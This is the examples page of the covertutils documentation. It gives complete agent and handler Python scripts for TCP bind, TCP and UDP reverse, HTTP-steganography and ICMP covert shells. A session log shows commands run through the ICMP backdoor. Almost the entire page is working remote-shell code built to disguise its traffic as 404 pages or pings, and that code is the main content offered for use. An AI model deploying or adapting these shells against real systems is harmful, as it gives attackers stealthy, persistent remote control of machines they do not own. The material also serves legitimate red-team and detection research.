Programming Examples

Examples can be run using the makefile available in the repo, as shown below:

make EX='examples/example_script.py 8080' run

Notice that examples have to be tested in pairs (agents - handlers).

Simple TCP Bind Shell

Server - Agent

#!/usr/bin/env python
from covertutils.handlers.impl import StandardShellHandler
from covertutils.orchestration import SimpleOrchestrator

import sys
import socket
from time import sleep

from hashlib import sha512

passphrase = "Pa55phra531"
addr = "0.0.0.0", int(sys.argv[1])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)	#
s.bind( addr )		# Handling Networking
s.listen(5)		# independently of covertutils

while True :		# Make it listen `hard`
	client, client_addr = s.accept()		# Blocking the main thread

	def recv () :		# Create wrappers for networking
		return client.recv( 50 )

	def send( raw ) :		# Create wrappers for networking
		return client.send( raw )

	orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True, cycling_algorithm = sha512 )
	handler = StandardShellHandler( recv, send, orch )	# Create the Handler Daemon Thread

Client - Handler

#!/usr/bin/env python
from covertutils.handlers import BaseHandler
from covertutils.orchestration import SimpleOrchestrator

from covertutils.shells.impl import StandardShell

import sys
import socket
from time import sleep

from hashlib import sha512

try :
	program, ip, port, passphrase = sys.argv
except :
	print( """Usage:
	%s <ip> <port> <passphrase>""" % sys.argv[0] )
	sys.exit(1)

client_addr = ip, int(port)

orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, cycling_algorithm = sha512 )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect( client_addr )

def recv () :
	return s.recv(50)

def send( raw ) :
	return s.send( raw )


class MyHandler( BaseHandler ) :

	def onChunk( self, stream, message ) :
		pass

	def onMessage( self, stream, message ) :
		# The PrintShell class will automatically handle the response (print it to the user)
		pass

	def onNotRecognised( self ) :
		print( "Got Garbage!" )

handler = MyHandler( recv, send, orch )

shell = StandardShell(handler, prompt = "(%s:%d)> " % client_addr )
shell.start()

Simple TCP Reverse Shell

Client - Agent

#!/usr/bin/env python
from covertutils.handlers.impl import StandardShellHandler, ExtendableShellHandler
from covertutils.orchestration import SimpleOrchestrator

import sys
import socket
from time import sleep

from hashlib import sha512

passphrase = "Pa55phra531"
addr = sys.argv[1], int(sys.argv[2])
delay = int( sys.argv[3] )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

closed = True

while True :

	if closed :
		try :
			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.connect( addr )
			closed = False
		except Exception as e:
			sleep( delay )
			continue

	def recv () :
		global closed
		try :
			ret = s.recv(50)
			if ret == '' :	  # in empty string socket is closed
				closed = True
				s.close()
		except :
			closed = True
			return ''
			# print( "Connection Terminated" )
			# ret = 'X'
		return ret


	def send( raw ) :
		return s.send( raw )

	orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True )
	handler = ExtendableShellHandler( recv, send, orch )	# Create the Handler Daemon Thread

	while not closed : sleep(1)

Server - Handler

#!/usr/bin/env python
from covertutils.handlers import BaseHandler
from covertutils.orchestration import SimpleOrchestrator

from covertutils.shells.impl import ExtendableShell


import sys
import socket
from time import sleep

from hashlib import sha512

try :
	program, port, passphrase = sys.argv
except :
	print( """Usage:
	%s <port> <passphrase>""" % sys.argv[0] )
	sys.exit(1)

addr = '0.0.0.0', int(port)

orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50 )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)	#
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind( addr )		# Handling Networking
s.listen(5)		# independently of covertutils

print( "Accepting" )
client, client_addr = s.accept()		# Blocking the main thread
print( "Accepted" )

def recv () :		# Create wrappers for networking
	return client.recv( 50 )

def send( raw ) :		# Create wrappers for networking
	return client.send( raw )


class MyHandler( BaseHandler ) :

	def onChunk( self, stream, message ) :
		pass

	def onMessage( self, stream, message ) :
		# print( message )
		pass

	def onNotRecognised( self ) :
		print( "Got Garbage!" )
		global s
		s.close()

handler = MyHandler( recv, send, orch )
shell = ExtendableShell(handler, prompt = "(%s:%d)> " % client_addr )

shell.start()

Simple UDP Reverse Shell

Client - Agent

#!/usr/bin/env python
from covertutils.handlers.impl import StandardShellHandler
from covertutils.orchestration import SimpleOrchestrator

import sys
import socket
from time import sleep

from hashlib import sha512

passphrase = "Pa55phra531"
addr = sys.argv[1], int(sys.argv[2])
delay = int( sys.argv[3] )

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

def recv () :		# Create wrappers for networking
    return s.recvfrom( 50 )[0]

def send( raw ) :		# Create wrappers for networking
	return s.sendto( raw, addr )

orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True, cycling_algorithm = sha512 )
handler = StandardShellHandler( recv, send, orch )	# Create the Handler Daemon Thread

while True :
    send( 'X' )
    sleep( delay )

Server - Handler

#!/usr/bin/env python
from covertutils.handlers import BaseHandler
from covertutils.orchestration import SimpleOrchestrator

from covertutils.shells.impl import StandardShell

import sys
import socket
from time import sleep

from hashlib import sha512

try :
	program, port, passphrase = sys.argv
except :
	print( """Usage:
	%s <port> <passphrase>""" % sys.argv[0] )
	sys.exit(1)

addr = '0.0.0.0', int(port)
client_addr = None
orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, cycling_algorithm = sha512 )

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)	#
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind( addr )		# Handling Networking

synchronized = False

def recv () :		# Create wrappers for networking
	global client_addr
	global synchronized
	addr = False
	while addr != client_addr :
		ret, addr = s.recvfrom( 50 )
		if ret == 'X' :
			client_addr = addr
			synchronized = True

	return ret

def send( raw ) :		# Create wrappers for networking
	return s.sendto( raw, client_addr )


class MyHandler( BaseHandler ) :

	def onChunk( self, stream, message ) :	pass
	def onNotRecognised( self ) :	pass

	def onMessage( self, stream, message ) :
		# The PrintShell class will automatically handle the response (print it to the user)
		pass

handler = MyHandler( recv, send, orch )

shell = StandardShell(handler, )

shell.start()

Advanced HTTP Reverse Shell

Client - Agent

#!/usr/bin/env python

#			 Disclaimer!
#	 This code is not an optimal HTTP reverse shell!
# It is created to introduce as many aspects of 'covertutils' as possible.
# There are muuuuuch better ways to implement a reverse HTTP shell using this package,
# using many Python helpers like SimpleHTTPServer.
# In this file the HTTP requests/responses are crafted in socket level to display
# the concept of 'StegoOrchestrator' class and network wrapper functions

from covertutils.handlers import InterrogatingHandler, FunctionDictHandler
from covertutils.handlers.impl import StandardShellHandler, ExtendableShellHandler
from covertutils.orchestration import StegoOrchestrator
from covertutils.datamanipulation import asciiToHexTemplate

from os import urandom
from time import sleep
import sys
import socket


#============================== HTTP Steganography part ===================

resp_ascii = '''HTTP/1.1 404 Not Found
Server: Apache/2.2.14 (Win32)
Content-Length: 363
Connection: Closed
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
   <title>404 Not Found</title>
</head>
<body>
   <h1>Not Found</h1>
   <p>The requested URL was not found on this server.</p>
</body>
<!-- Reference Code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-->
</html>
'''
resp_templ = asciiToHexTemplate( resp_ascii )

req_ascii = '''GET /search.php?q=~~~~~~~~?userid=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTTP/1.1
Host: {0}
Cookie: SESSIOID=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
eTag: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
User-Agent: covertutils HTTP-shell by John Torakis

'''		# 2 new lines terminate the HTTP Request
req_templ = asciiToHexTemplate( req_ascii )

#		Create the StegoOrchestrator configuration string
stego_config = '''
X:_data_:\n\n

resp = """%s"""
req = """%s"""
''' % ( resp_templ, req_templ )

#==========================================================================


#============================== Handler Overriding part ===================

# Making a dict to map every 'stream' to a function to be called with the message as argument
# _function_dict = { 'control' : GenericStages['shell']['function'], 'main' : GenericStages['shell']['function'] }

# We need a handler that will ask for and deliver data, initiating a communication once every 2-3 seconds.
# This behavior is modelled in the 'InterrogatingHandler' with the 'delay_between' argument.
# The 'FunctionDictHandler' automatically runs all messages through function found in a given dict
class ShellHandler ( InterrogatingHandler, ExtendableShellHandler ) :

	def __init__( self, recv, send, orch ) :
		super( ShellHandler, self ).__init__( recv, send, orch, # basic handler arguments
											fetch_stream = 'control',	# argument from 'InterrogatingHandler'
											stage_stream = 'stage',
											delay_between = (0.0, 4),	 # argument from 'InterrogatingHandler'
											# delay_between = (2, 3)	 # argument from 'InterrogatingHandler'
											)	# The arguments will find their corresponding class and update the default values

	def onChunk( self, stream, message ) : pass		# If a part of a message arrives - do nothing.

	def onMessage( self, stream, message ) :		# If a message arrives

		if message != 'X' :								# If message is not the 'no data available' flag
			output = FunctionDictHandler.onMessage( self, stream, message )	# Run the received message
																				#through the corresponding function
			# stream, message = super( ShellHandler, self ).onMessage( stream, message )	# Run

			print( "[+] Command Run!" )
			# print( "[+] Command Run: '%s'!" % output )
			# print( "Got to send %d bytes" % len(output) )
			self.queueSend( output, stream )			# Queue the output to send in next interval


	def onNotRecognised( self ) : print( "[!] < Unrecognised >" )


#==========================================================================


#============================== Networking part ===========================
# The networking is handled by Python API. No 'covertutils' code here...

#	Handler's location
addr = ( sys.argv[1], int( sys.argv[2]) )	# called as 'python Client.py 127.0.0.1 8080'

#	Create a simple socket
client_socket = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
# client_socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

#	As every HTTP request/response needs a new Socket,
# this variable is used to inform network wrappers if the last HTTP transaction is finished
# It is used in spin-locks. Could be designed a lot better with mutex and up/down.
same_con = False

def send( raw ) :
	global client_socket
	global same_con
	while same_con : sleep (0.01); continue;	# If the last transaction isn't finished - block
	while not same_con :
		try :			# Try starting a new connectio if the Server is up
			client_socket = socket.socket( socket.AF_INET, socket.SOCK_STREAM )	# Start new HTTP transaction
			client_socket.connect( addr )
			client_socket.send( raw )			# Send the data
			same_con = True			# make the 'recv' unblock
		except Exception as e:
			# print( e )
			sleep( 2 )	# Retry to connect to handler every 2 seconds

def recv( ) :
	global client_socket
	global same_con
	while not same_con : sleep (0.01); continue	# If an HTTP transaction hasn't started - block
	ret = client_socket.recv( 2048 )		# Get the HTTP response
	client_socket = None					# The socket will be closed by the HTTP Server
	same_con = False						# unblock the 'send' function to start a new HTTP transaction
	return ret

#==========================================================================


#=============================Handler Creation=============================

passphrase = "App1e5&0raNg3s"	# This is used to generate encryption keys
orch = StegoOrchestrator( passphrase,
							stego_config = stego_config,
							main_template = "req",		# The template to be used
							hex_inject = True,			# Inject data in template in hex mode
							reverse = True, 			# For 2 Orchestrator objects to be compatible one must have 'reverse = True'
							streams = ['heartbeat'],
							)

handler = ShellHandler( recv, send, orch )

#==========================================================================

# Wait forever as all used threads are daemonized
while True : sleep(10)


#	Magic!

Server - Handler

#!/usr/bin/env python

#			 Disclaimer!
#	 This code is not an optimal HTTP reverse shell!
# It is created to introduce as many aspects of 'covertutils' as possible.
# There are muuuuuch better ways to implement a reverse HTTP shell using this package,
# using many Python helpers like SimpleHTTPServer.
# In this file the HTTP requests/responses are crafted in socket level to display
# the concept of 'StegoOrchestrator' class and network wrapper functions

from covertutils.handlers import ResponseOnlyHandler
from covertutils.orchestration import StegoOrchestrator
from covertutils.datamanipulation import asciiToHexTemplate

from covertutils.shells.impl import StandardShell, ExtendableShell

from time import sleep
from os import urandom
import random
import string
import sys

import socket
from threading import Thread

#============================== HTTP Steganography part ===================

resp_ascii = '''HTTP/1.1 404 Not Found
Server: Apache/2.2.14 (Win32)
Content-Length: 363
Connection: Closed
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
   <title>404 Not Found</title>
</head>
<body>
   <h1>Not Found</h1>
   <p>The requested URL was not found on this server.</p>
</body>
<!-- Reference Code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-->
</html>
'''
resp_templ = asciiToHexTemplate( resp_ascii )
# qa85b923nm90viuz12.securosophy.com
req_ascii = '''GET /search.php?q=~~~~~~~~?userid=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTTP/1.1
Host: {0}
Cookie: SESSIOID=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
eTag: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
User-Agent: covertutils HTTP-shell by John Torakis

'''		# 2 new lines terminate the HTTP Request
req_templ = asciiToHexTemplate( req_ascii )

#		Create the StegoOrchestrator configuration string
stego_config = '''
X:_data_:\n\n

resp = """%s"""
req = """%s"""
''' % ( resp_templ, req_templ )

#==========================================================================


#============================== Handler Overriding part ===================

# It is an HTTP Server, so it has to send data only when requested.
# Hence the use of the 'ResponseOnlyHandler' which sends data only when 'onMessage()' is hit with the self.request_data message
class MyHandler ( ResponseOnlyHandler ) :	#
	# Overriding original onMessage method to send a response in any case - not only 'ResponseOnlyHandler.request_data' message arrives
	def onMessage( self, stream, message ) :
		# If the Parent Class would respond (the message was a request), don't bother responding
		responded = super( MyHandler, self ).onMessage( stream, message )
		if not responded :	# If the message was real data (not 'ResponseOnlyHandler.request_data' string), the Parent Class didn't respond
			self.queueSend("X", 'heartbeat');	# Make it respond anyway with 'X' (see Client)
			responded = super( MyHandler, self ).onMessage( stream, message )
			assert responded == True		# This way we know it responsed!
		# The PrintShell class will automatically handle the response (print it to the user)


	def onChunk( self, stream, message ) :
		if message : return					# If this chunk is the last and message is assembled let onMessage() handle it
		# print "[*] Got a Chunk"
		self.onMessage( 'heartbeat', self.request_data )	# If this is a message chunk, treat it as a 'request_data' message

	def onNotRecognised( self ) :
		# print "[!]< Unrecognised >"
		# If someone that isn't the client sends an HTTP Request
		redirection_http='''
HTTP/1.1 302 Found
Server: Apache/2.2.14 (Win32)
Location: http://securosophy.com
Content-Length: 0
Content-Type: text/plain
Content-Language: el-US
Connection: close

		'''	# The response will be a redirection
		send( redirection_http )					#
		# This way all random connections will get redirected to "securosophy.com" blog
#==========================================================================


#============================== Networking part =========================
# The networking is handled by Python API. No 'covertutils' code here...

addr = ("0.0.0.0", int( sys.argv[1]) )		# The Listening Address tuple

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)	# Listening socket
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)	# Free the socket object directly after process finishes
server_socket.bind( addr )		# Handling Networking
server_socket.listen(5)			# independently of covertutils

# HTTP Servers work like:
#	Client (Socket Opens)  Server
#	Client ------SYN-----> Server
#	Client <---SYN-ACK---- Server
#	Client ------ACK-----> Server

#	Client (HTTP Request)  Server
#	Client --------------> Server
#	Client (HTTP Response) Server
#	Client <-------------- Server

#	Client (Socket Close)  Server
#	Client <-----FIN------ Server
#	Client ----FIN-ACK---> Server
#	Client <-----ACK------ Server

# As this happens for every HTTP Request/Response the 'send' and 'recv' functions
# use spin-locks to block and recognise when they can tranfer data.
# 'send' and 'recv' are wrappers for Handler object networking. Covertutils is network agnostic


client = None						# Globally define the client socket
client_addr = None
def recv () :
	global client
	while not client : continue	# Wait until there is a client
	ret = ''
	while not ret :			# Block until all data is received
 		ret = client.recv( 2048 )
	return ret			# Return the received data


def send( raw ) :
	global client
	while not client : continue	# Wait until there is a client
	client.send( raw )			# Send the data through the socket
	client.shutdown(socket.SHUT_RDWR) #	Terminate the Socket
#==========================================================================


#=============================Handler Creation============================

passphrase = "App1e5&0raNg3s"	# This is used to generate encryption keys
orch = StegoOrchestrator( passphrase,
							stego_config = stego_config,
							main_template = "resp",		# The template to be used
							hex_inject = True, 			# Inject data in template in hex mode
							streams = ['heartbeat'],
							)
handler = MyHandler( recv, send, orch )	# Instantiate the Handler Object using the network wrappers


def serveForever() :
	global client
	global client_addr
	while True :				# Make it listen `hard`
		client_new, client_addr = server_socket.accept()
		client = client_new

server_thread = Thread ( target = serveForever )
server_thread.daemon = True
server_thread.start()

#==========================================================================


#============================== Shell Design part ========================
shell = ExtendableShell( handler,
	ignore_messages = set(['X']) 	# It is also the default argument in BaseShell
	)
shell.start()

#==========================================================================

#	Magic!

Please notice that this example will work for only 1 reverse connection. Other connections will jam as of the Cycling Encryption Key. A real project would use HTTP Cookies along with Orchestrator.getIdentity() and Orchestrator.checkIdentity() to achieve session management.

Traffic Sample

HTTP Request

GET /search.php?q=01e45e90?userid=6c8a34140ef540caa9acc5221ca3be54bc1425 HTTP/1.1
Host: {0}
Cookie: SESSIOID=6626d881415241b388b44b52837465e4ed2b2504f9f16893716c25a1f81e9c5809b5485281acf68327ada9d3c6be170afb3ff5ac8d4de0e77e3dd9eeb089fbe1
eTag: c9262c8fa9cf36472fc556f39f9446c25c5433

HTTP Response

HTTP/1.1 404 Not Found
Date: Sun, 18 Oct 2012 10:36:20 GMT
Server: Apache/2.2.14 (Win32)
Content-Length: 363
Connection: Closed
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
   <title>404 Not Found</title>
</head>
<body>
   <h1>Not Found</h1>
   <p>The requested URL was not found on this server.</p>
</body>
<!-- Reference Code: d90a2b5e614c0b0a28c438e8100f16537f854c5a193
c0b7da2ca674b2583cf328fe7f7f0cf49e8932ce9dd5f08a362c92f7d923867ffb4b196b885461e12a892
-->
</html>

Advanced ICMP Bind Shell

This example uses the Legendary Scapy package to parse and create Raw Packets. It can be also implemented using StegoOrchestrator class, if Scapy dependency is a bummer. Windows users will need Npcap to use Scapy. Python Raw Sockets do not seem to have this dependency.

As this backdoor uses Raw Sockets, root permissions are needed.

Server - Agent

#!/usr/bin/env python
#============================== Imports part =============================

from covertutils.orchestration import SimpleOrchestrator
from covertutils.handlers import ResponseOnlyHandler, FunctionDictHandler
from covertutils.handlers.impl import StandardShellHandler

from scapy.all import sniff, IP, ICMP, Raw		# Never bloat scapy import with *
from scapy.all import send as scapy_send	# unexpected things will happen

from threading import Thread		# Need a thread for running a sniffer
from time import sleep			# I spin lock a lot
from random import randint		# Generating IP id field needs randomness

passphrase = "pass"		# Passphrase hardcoded in handler. Could also be encrypted.

#============================== Networking part ===========================
# The networking is handled by Python and Scapy. No 'covertutils' code here...

icmp_packets = []		# Packets captured by sniffer will be stored here
packet_info = []		# List of packet information collected for the handler to know where to respond


def add_icmp_packet( pkt ) :	# wrapper function to add a packet to the list
	global icmp_packets
	icmp_packets.append( pkt )


def collect_icmp() :		# Scappy non terminating sniffer
	cap_filter = "icmp[icmptype] == icmp-echo"		# that captures echos
	sniff( filter = cap_filter, prn = add_icmp_packet )	 # runs forever


def recv( ) :		# Networking Wrapper function needed for the handler
	while not icmp_packets :	# Blocks when no packet is available
		sleep(0.01)

	pkt = icmp_packets.pop(0)	# Get the first packet
	timestamp = str(pkt[Raw])[:4]	# Keep the timestamp to use it on the response
	raw_data = str(pkt[Raw])[4:]			# remove the timestamp and get the raw data
	#	Keep a track of the packet information as it may be from the Handler
	packet_info.insert( 0, (pkt[IP].src, pkt[IP].dst, pkt[ICMP].seq, pkt[ICMP].id, timestamp ) )
	#	If it is from the Handler a response will be made using that information
	return raw_data


def send( raw_data ) :
	ip_id = randint( 0, 65535 )		# To simulate real packets
	handler_ip, self_ip, icmp_seq, icmp_id, timestamp = packet_info[0]	# extract the data from the packet that will be answered
	paylaod = timestamp + raw_data	# the payload starts with UNIX time to simulate real ping
	pkt = IP( dst = handler_ip, src = self_ip, id = ip_id )/ICMP( type = "echo-reply", seq = icmp_seq, id = icmp_id )/Raw( paylaod )
	scapy_send( pkt, verbose = False )		# Make and send a Raw Packet


sniff_thread = Thread( target = collect_icmp )
sniff_thread.daemon = True
sniff_thread.start()			# Run the ICMP echo collector in a thread
#==========================================================================




#============================== Handler Overriding part ===================

# A dict that designates what function is going to run if Messages come from certain streams
# _function_dict = { 'control' : GenericStages['shell']['function'],
# 					'main' : GenericStages['shell']['function']
# 					}
# Here all streams will be used for a typical 'system' function (raw shell).
# FEEL FREE TO CREATE YOUR OWN!

#	ResponseOnlyHandler because the Agent never sends packet adHoc but only as responses
#	FunctionDictHandler to set the dict of functions run on messages
class AgentHandler( ResponseOnlyHandler, StandardShellHandler ) :

	def onNotRecognised( self ) :	# When Junk arrives
		global packet_info	# It means that the packet is not created by Handler
		del packet_info[0]	# So the packet's info get deleted as the Agent won't respond to it
		# print "[!] Unrecognised"


	def onChunk( self, stream, message ) :	# When a Chunk arrives
		# print "[+] Got Chunk!"
		if not message :	# If it is not a complete message (but a part of one)
			self.onMessage( stream, self.request_data )	# Treat it as message containing the `self.request_data` string


	def onMessage( self, stream, message ) :	# When a Chunk arrives
		# print "[%] Got a Message!"
		if message == self.request_data :	# If the Message contains the `self.request_data` string
			ret_stream, ret_message = stream, message	# The message to be responded will contain the same value
		else :		# Else pass it through the function pointed by the function dict
			ret_message = FunctionDictHandler.onMessage( self, stream, message )

		responded = ResponseOnlyHandler.onMessage( self, stream, ret_message )	# Run the ResponseOnlyHandler onMessage
		# That automatically responds with the next Message in queue when called. (Always responding to messages behavior)
		if not responded :		# If the message was real data (not 'ResponseOnlyHandler.request_data' string), the Parent Class didn't respond
			self.queueSend( ret_message, stream );	# Make it respond anyway with 'ResponseOnlyHandler.request_data' (see Client)
			responded = ResponseOnlyHandler.onMessage( self, stream, ret_message )	# Now it will responde for sure as a message is manually added to the queue
			assert responded == True		# This way we know it responsed!
#==========================================================================



#=============================Handler Creation=============================

orchestrator = SimpleOrchestrator( passphrase,	# Encryption keys generated from the passphrase
				tag_length = 2,		# The tag length in bytes
				out_length = 52,	# The absolute output byte length (with tags)
				in_length = 52,		# The absolute input byte length (with tags)
				streams = ['heartbeat'],	# Stream 'control' will be automatically added as failsafe mechanism
				reverse = False )	# Reverse the encryption channels - Handler has `reverse = True`

agent = AgentHandler( recv, send, orchestrator,			# Instantiate the Handler object. Finally!
					# function_dict = _function_dict,  	# needed as of the FunctionDictHandler overriding
					)
#==========================================================================


# Wait forever as all used threads are daemonized
while 1 :	sleep(10)	# Magic!

Client - Handler

#!/usr/bin/env python
#============================== Imports part =============================

from covertutils.handlers import ResponseOnlyHandler
from covertutils.orchestration import SimpleOrchestrator

from covertutils.shells.impl import StandardShell

from scapy.all import sniff, IP, ICMP, Raw		# Never bloat scapy import with *
from scapy.all import send as scapy_send	# unexpected things will happen

from threading import Thread		# Need a thread for running a sniffer
from time import sleep			# I spin lock a lot

from random import randint		# Generating ICMP and IP id fields needs randomness
from struct import pack			# packing a unixtime in Pings is key
import time						# used for unixtime

import sys						# Used for arguments


agent_address = sys.argv[1]		# Where the Agent resides (aka RHOST)
passphrase = sys.argv[2]		# What is the passphrase the agent uses
delay_secs = float(sys.argv[3])	# Delay between Pings sent. 1 sec is slow but realistic


#============================== Networking part ===========================
# The networking is handled by Python and Scapy. No 'covertutils' code here...

icmp_packets = []		# Packets captured by sniffer will be stored here
icmp_seq = 1		# The initial Ping sequence value is 1/256
icmp_id = randint( 0, 65535 )	# The sequence value is the same on every packet for every execution of 'ping'


def add_icmp_packet( pkt ) :	# wrapper function to add a packet to the list
	global icmp_packets
	icmp_packets.append( pkt )


def collect_icmp() :		# Scappy non terminating sniffer
	cap_filter = "icmp[icmptype] == icmp-echoreply"		# that captures echo replies
	sniff( filter = cap_filter, prn = add_icmp_packet )	 # runs forever


def get_icmp_timestamp( ) :		# function returns UNIX time in 4 bytes Little Endian
	return pack("<I", int(time.time()))


def recv( ) :		# Networking Wrapper function needed for the handler
	while not icmp_packets :	# Blocks when no packet is available
		sleep(0.01)

	pkt = icmp_packets.pop(0)	# Get the first packet
	raw_data = str(pkt[Raw])[4:]		# Remove the UNIX timestamp
	return raw_data		# Return the raw data to Handler


def send( raw_data ) :	# Networking Wrapper function needed for the handler
	sleep( delay_secs )		# Delay before next Ping
	ip_id = randint( 0, 65535 )	# Calculate random header values to simulate real packets
	payload = get_icmp_timestamp() + raw_data	# the payload starts with UNIX time to simulate real ping
	pkt = IP( dst = agent_address, id = ip_id, flags = 'DF' )/ICMP( type = "echo-request", id = icmp_id, seq = icmp_seq )/Raw( payload )
	scapy_send( pkt, verbose = False )		# Make and send a Raw Packet


sniff_thread = Thread( target = collect_icmp )
sniff_thread.daemon = True
sniff_thread.start()			# Run the ICMP reply collector in a thread
#==========================================================================


#============================== Handler Overriding part ===================

#	ResponseOnlyHandler because the Agent never sends packet adHoc but only as responses
#		(Except if we use adHocSend() by hand - later in Shell creation)
class Handler( ResponseOnlyHandler ) :

	def onMessage( self, stream, message ) :	# When a Message arrives
		global icmp_seq		# Make the Ping Sequence Number 1/256 again
		icmp_seq = 1
		global icmp_id		# Simulate a new 'ping' execution
		icmp_id = randint( 0, 65535 )
		# The PrintShell class will automatically handle the response (print it to the user)


	def onChunk( self, stream, message ) :	# When a Chunk arrives
		# print "[+] Got a Chunk"
		global icmp_seq
		if not message :	# If it is not a complete message (but a part of one)
			icmp_seq += 1	# add one to the ICMP sequence
			self.queueSend( self.request_data, stream )	# Add a message to the send queue
			super( Handler, self ).onMessage( stream, self.request_data  )	# Run the ResponseOnlyHandler onMessage
			# That automatically responds with the next Message in queue when called. (Always responding to messages behavior)


	def onNotRecognised( self ) :	# When Junk arrives
		# print "[!] Unrecognised"
		pass			# Do nothing

#==========================================================================



#=============================Handler Creation=============================

orchestrator = SimpleOrchestrator( passphrase,	# Encryption keys generated from the passphrase
				tag_length = 2,		# The tag length in bytes
				out_length = 52,	# The absolute output byte length (with tags)
				in_length = 52,		# The absolute input byte length (with tags)
				streams = ['heartbeat'],	# Stream 'control' will be automatically added as failsafe mechanism
				reverse = True )	# Reverse the encryption channels - Agent has `reverse = False`

handler = Handler( recv, send, orchestrator )	# Instantiate the Handler object. Finally!
handler.preferred_send = handler.sendAdHoc	# Change the preferred method to use it with the shell.
# This way the shell will iterate a message sending and the ResponseOnlyHandler will do the ping-pong

#==========================================================================


#============================== Shell Design part ========================

shell = StandardShell(handler )
shell.start()


#==========================================================================

#	Magic!

Traffic Sample

Backdoor’s Traffic

make EX='examples/icmp_bind_handler.py 127.0.0.5 pass 0.1' run
PYTHONPATH=".:" examples/icmp_bind_handler.py 127.0.0.5 pass 0.1
(covertutils v0.1.1)[control]>
(covertutils v0.1.1)[control]>
(covertutils v0.1.1)[control]> !main
(covertutils v0.1.1)[main]> ls -la
(covertutils v0.1.1)[main]>
total 120
drwxr-xr-x 15 unused unused 4096 Jun 15 06:12 .
drwxr-xr-x 20 unused unused 4096 Jun 14 23:48 ..
drwxr-xr-x  3 unused unused 4096 Jun 14 23:13 build
drwxr-xr-x  3 unused unused 4096 Jun  2 13:42 .cache
-rw-r--r--  1 unused unused  904 Jun  2 13:42 cov-badge.svg
-rw-r--r--  1 unused unused 6563 Jun  8 14:10 .coverage
drwxr-xr-x  9 unused unused 4096 Jun 14 20:44 covertutils
drwxr-xr-x  2 unused unused 4096 Jun  2 13:42 covertutils.egg-info
drwxr-xr-x  2 unused unused 4096 Jun  2 13:42 dist
drwxr-xr-x  4 unused unused 4096 Jun 14 21:15 docs
drwxr-xr-x  3 unused unused 4096 Jun  2 13:42 .eggs
drwxr-xr-x  2 unused unused 4096 Jun 15 05:47 examples
drwxr-xr-x  8 unused unused 4096 Jun 15 06:03 .git
-rw-r--r--  1 unused unused  129 Jun  2 13:42 .gitignore
drwxr-xr-x  2 unused unused 4096 Jun  8 14:10 htmlcov
-rw-r--r--  1 unused unused 1107 Jun  8 12:20 makefile
-rw-r--r--  1 unused unused 1509 Jun 14 23:13 MANIFEST
-rw-r--r--  1 unused unused   36 Jun  2 13:42 MANIFEST.in
-rw-r--r--  1 unused unused  845 Jun  8 14:19 shell_manual_test.py
drwxr-xr-x  2 unused unused 4096 Jun  8 16:11 __pycache__
-rw-------  1 unused unused  242 Jun  2 13:42 .pypirc
-rw-r--r--  1 unused unused 3678 Jun  2 13:42 README.md
-rw-r--r--  1 unused unused    8 Jun  3 10:40 requirements.txt
-rw-r--r--  1 unused unused  755 Jun  2 13:42 setup.py
-rw-r--r--  1 unused unused  865 Jun  3 10:32 setup.pyc
drwxr-xr-x  3 unused unused 4096 Jun 14 20:42 tests
drwxr-xr-x  6 unused unused 4096 Jun  2 13:42 .tox
-rw-r--r--  1 unused unused  385 Jun  2 13:42 tox.ini
-rw-r--r--  1 unused unused  329 Jun  2 13:42 .travis.yml


(covertutils v0.1.1)[main]>
Really Control-C [y/N]? y
Aborted by the user...
tcpdump -i lo icmp -vv -nn
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
08:31:54.810249 IP (tos 0x0, ttl 64, id 39362, offset 0, flags [DF], proto ICMP (1), length 84)
